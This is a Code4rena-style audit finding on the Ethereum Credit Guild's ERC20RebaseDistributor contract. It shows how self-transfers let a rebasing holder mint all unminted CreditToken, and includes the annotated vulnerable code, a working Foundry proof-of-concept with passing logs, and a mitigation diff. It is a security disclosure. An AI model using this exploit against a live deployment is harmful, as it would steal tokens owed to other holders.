Ethereum Credit Guild - KingNFT's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L553 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/tokens/ERC20RebaseDistributor.sol#L646

Vulnerability details

Impact

The ERC20RebaseDistributor.transfer()/transferFrom() functions don't process the from == to case well, anyone can exploit this to steal all unminted CreditToken by simply self transferring.

Proof of Concept

Take the transfer() for example, let's look at how the issue is triggered while msg.sender == to: at L560 nShares is cached, then decreased at L598, but at L607 the cached nShares is used to calculate final balance. As a result, the processing causes extra amount of CreditToken minted to msg.sender

File: src\tokens\ERC20RebaseDistributor.sol
553:     function transfer(
554:         address to,
555:         uint256 amount
556:     ) public virtual override returns (bool) {
557:         // if `from` is rebasing, materialize the tokens from rebase to ensure
558:         // proper behavior in `ERC20.transfer()`.
559:         RebasingState memory rebasingStateFrom = rebasingState[msg.sender];
560:         RebasingState memory rebasingStateTo = rebasingState[to]; // @audit cached
561:         uint256 fromBalanceBefore = ERC20.balanceOf(msg.sender);
562:         uint256 _rebasingSharePrice = (rebasingStateFrom.isRebasing == 1 ||
563:             rebasingStateTo.isRebasing == 1)
564:             ? rebasingSharePrice()
565:             : 0; // only SLOAD if at least one address is rebasing
566:         if (rebasingStateFrom.isRebasing == 1) {
567:             uint256 shares = uint256(rebasingStateFrom.nShares);
568:             uint256 rebasedBalance = _shares2balance(
569:                 shares,
570:                 _rebasingSharePrice,
571:                 0,
572:                 fromBalanceBefore
573:             );
574:             uint256 mintAmount = rebasedBalance - fromBalanceBefore;
575:             if (mintAmount != 0) {
576:                 ERC20._mint(msg.sender, mintAmount);
577:                 fromBalanceBefore += mintAmount;
578:                 decreaseUnmintedRebaseRewards(mintAmount);
579:                 emit RebaseReward(msg.sender, block.timestamp, mintAmount);
580:             }
581:         }
582: 
583:         // do ERC20.transfer()
584:         bool success = ERC20.transfer(to, amount);
585: 
586:         // if `from` is rebasing, update its number of shares
587:         int256 sharesDelta;
588:         if (rebasingStateFrom.isRebasing == 1) {
589:             uint256 fromBalanceAfter = fromBalanceBefore - amount;
590:             uint256 fromSharesAfter = _balance2shares(
591:                 fromBalanceAfter,
592:                 _rebasingSharePrice
593:             );
594:             uint256 sharesSpent = rebasingStateFrom.nShares - fromSharesAfter;
595:             sharesDelta -= int256(sharesSpent);
596:             rebasingState[msg.sender] = RebasingState({
597:                 isRebasing: 1,
598:                 nShares: uint248(fromSharesAfter) // @audit decreased
599:             });
600:         }
601: 
602:         // if `to` is rebasing, update its number of shares
603:         if (rebasingStateTo.isRebasing == 1) {
604:             // compute rebased balance
605:             uint256 rawToBalanceAfter = ERC20.balanceOf(to);
606:             uint256 toBalanceAfter = _shares2balance(
607:                 rebasingStateTo.nShares, // @audit still use the the cached `nShares`
608:                 _rebasingSharePrice,
609:                 amount,
610:                 rawToBalanceAfter
611:             );
612: 
613:             // update number of shares
614:             uint256 toSharesAfter = _balance2shares(
615:                 toBalanceAfter,
616:                 _rebasingSharePrice
617:             );
618:             uint256 sharesReceived = toSharesAfter - rebasingStateTo.nShares;
619:             sharesDelta += int256(sharesReceived);
620:             rebasingState[to] = RebasingState({
621:                 isRebasing: 1,
622:                 nShares: uint248(toSharesAfter)
623:             });
624: 
625:             // "realize" unminted rebase rewards
626:             uint256 mintAmount = toBalanceAfter - rawToBalanceAfter;
627:             if (mintAmount != 0) {
628:                 ERC20._mint(to, mintAmount);
629:                 decreaseUnmintedRebaseRewards(mintAmount);
630:                 emit RebaseReward(to, block.timestamp, mintAmount);
631:             }
632:         }
633: 
634:         // if `from` or `to` was rebasing, update the total number of shares
635:         if (
636:             rebasingStateFrom.isRebasing == 1 || rebasingStateTo.isRebasing == 1
637:         ) {
638:             updateTotalRebasingShares(_rebasingSharePrice, sharesDelta);
639:         }
640: 
641:         return success;
642:     }

Below is the full coded PoC:

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Test} from "@forge-std/Test.sol";
import {console2} from "@forge-std/console2.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";

contract StealAllUnmintedCreditTokenTest is Test {
    address private governor = address(1);
    Core private core;
    CreditToken token;
    address constant alice = address(0x616c696365);
    address constant bob = address(0xB0B);

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();
        core.grantRole(CoreRoles.GOVERNOR, governor);
        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        token = new CreditToken(address(core), "name", "symbol");

        // labels
        vm.label(address(core), "core");
        vm.label(address(token), "token");
        vm.label(alice, "alice");
        vm.label(bob, "bob");
    }

    function testStealAllUnmintedCreditToken() public {
        // create/grant role
        vm.startPrank(governor);
        core.createRole(CoreRoles.CREDIT_MINTER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        vm.stopPrank();

        // mint tokens for alice and bob
        token.mint(alice, 100);
        assertEq(token.balanceOf(alice), 100);
        assertEq(token.totalSupply(), 100);
        token.mint(bob, 900);
        assertEq(token.balanceOf(bob), 900);
        assertEq(token.totalSupply(), 1000);

        // enter rebase
        vm.prank(alice);
        token.enterRebase();
        vm.prank(bob);
        token.enterRebase();

        // distribute 1000 tokens
        token.mint(address(this), 1000);
        token.approve(address(token), 1000);
        token.distribute(1000);
        vm.warp(block.timestamp + token.DISTRIBUTION_PERIOD());

        // alice should get only 100 distributed tokens, but actually she can steal all unminted tokens
        vm.startPrank(alice);
        token.transfer(alice, 100);
        assertEq(token.balanceOf(alice), 300);
        token.transfer(alice, 300);
        assertEq(token.balanceOf(alice), 600);
        token.approve(address(this), 500);
        vm.stopPrank();
        token.transferFrom(alice, alice, 500);
        assertEq(token.balanceOf(alice), 1100);
    }
}

And the test logs:

2023-12-ethereumcreditguild> forge test --match-contract StealAllUnmintedCreditTokenTest -vv
[⠘] Compiling...
[⠃] Compiling 1 files with 0.8.13
[⠆] Solc 0.8.13 finished in 3.22s
Compiler run successful!

Running 1 test for test/bug/StealAllUnmintedCreditToken.t.sol:StealAllUnmintedCreditTokenTest
[PASS] testStealAllUnmintedCreditToken() (gas: 413393)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.09ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manually review

Recommended Mitigation Steps

diff --git a/src/tokens/ERC20RebaseDistributor.sol b/src/tokens/ERC20RebaseDistributor.sol
index 07ba797..a321dd7 100644
--- a/src/tokens/ERC20RebaseDistributor.sol
+++ b/src/tokens/ERC20RebaseDistributor.sol
@@ -582,6 +582,9 @@ abstract contract ERC20RebaseDistributor is ERC20 {

         // do ERC20.transfer()
         bool success = ERC20.transfer(to, amount);
+        if (msg.sender == to) {
+            return success;
+        }

         // if `from` is rebasing, update its number of shares
         int256 sharesDelta;

Assessed type

Token-Transfer